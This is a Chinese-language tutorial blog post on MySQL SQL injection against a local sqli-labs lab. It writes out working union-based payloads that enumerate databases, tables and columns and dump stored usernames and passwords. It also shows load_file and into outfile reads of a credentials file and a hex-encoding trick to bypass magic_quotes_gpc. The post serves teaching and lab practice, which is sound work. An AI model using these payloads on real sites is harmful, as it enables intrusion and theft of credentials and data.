第13天:WEB漏洞-SQL注入之MYSQL注入

在这里插入图片描述

一、information_schema
  • information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
  • information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件

schemata表
当前 mysql 实例中所有数据库的信息。show databases 命令从这个表获取数据

在这里插入图片描述

TABLES 表
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM schemaname 命令从这个表获取结果。

在这里插入图片描述

COLUMNS 表
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

在这里插入图片描述

USER_PRIVILEGES 表
用户权限表。内容源自 mysql.user 授权表。是非标准表。

在这里插入图片描述

二、跨库攻击
  • 服务器中的全部数据库
    在这里插入图片描述

  • 打开靶场,查询网页当前数据库的用户,可以看到当前用户为root拥有最高的权限,可以获取其他数据库的内容
    url...?id=-1 union select 1,user(),3
    在这里插入图片描述

  • 当前数据库为security
    url...?id=-1 union select 1,database(),3
    在这里插入图片描述

  • 在网页中查看服务器中的所有数据库
    url...?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
    在这里插入图片描述

  • 查询数据库 bookman 里的所有表,当前数据库为 security。
    url...?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='bookman'

可以看到 bookman 数据库中有表:
tb_book,tb_book_category,tb_bookshelf,tb_borrow,tb_language,tb_publisher,tb_reader,tb_user

在这里插入图片描述

  • 查询表(tb_user)的所有列信息信息

url...?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tb_user' and table_schema='bookman

在语句后加上对应的数据库,如:and table_schema=‘bookman’,防止查询到其他数据库中相同名字的表。

在这里插入图片描述

  • 查询表(tb_user)的内容
    url...?id=-1 union select 1,group_concat(username),group_concat(password) from bookman.tb_user

注意要在表名前加是数据库名,如 bookman.tb_user,否则查到当前数据库中的数据或者报错
可以看到我们拿到了数据库bookman的用户名和密码

在这里插入图片描述

三、mysql内置的文件读取函数

load_file(); 读取函数
into_outfile 或者 into dumpfile ; 导出函数

使用方法
  • 读取xxx文件内容
    select load_file('xxx文件路径');
  • 将123写入xxx文件
    select '123' into outfile “xxx文件路径”;
  • 常见的load_file()读取的敏感信息
    https://blog.csdn.net/weixin_30292843/article/details/99381669
  • and (select count() from mysql.user)>0
    如果结果返回正常,说明具有读写权限。
    and (select count(
    ) from mysql.user)>0
    返回错误,应该是管理员给数据库帐户降,没有读写权限。
  • 路径获取常见方法
    报错显示;遗留文件;漏洞报错;平台配置文件;爆破等等
实例

读取D:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc文件内容

select load_file('D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc');

查看网页源码,发现我们拿到了文件内容

//give your mysql connection username n password
$dbuser =‘root’;
$dbpass =‘root’;
$dbname =“security”;
$host = ‘localhost’;
$dbname1 = “challenges”;

在这里插入图片描述

四、魔术引号开关 (magic_quotes_gpc)
  • magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对POST、GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止sql注入。
  • 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。
  • 可以通过将文件路径转为16进制,以绕过magic_quotes_gpc过滤时,但是需要在编码后的十六进制前加上0x。

D:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc
——> 0x443A2F70687073747564792F70687073747564795F70726F2F5757572F73716C692D6C6162732D6D61737465722F73716C2D636F6E6E656374696F6E732F64622D63726564732E696E63

在这里插入图片描述

如果网站有对参数的类型过滤,只允许数字通过,此类网站无法注入。(但是这种情况比较少)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值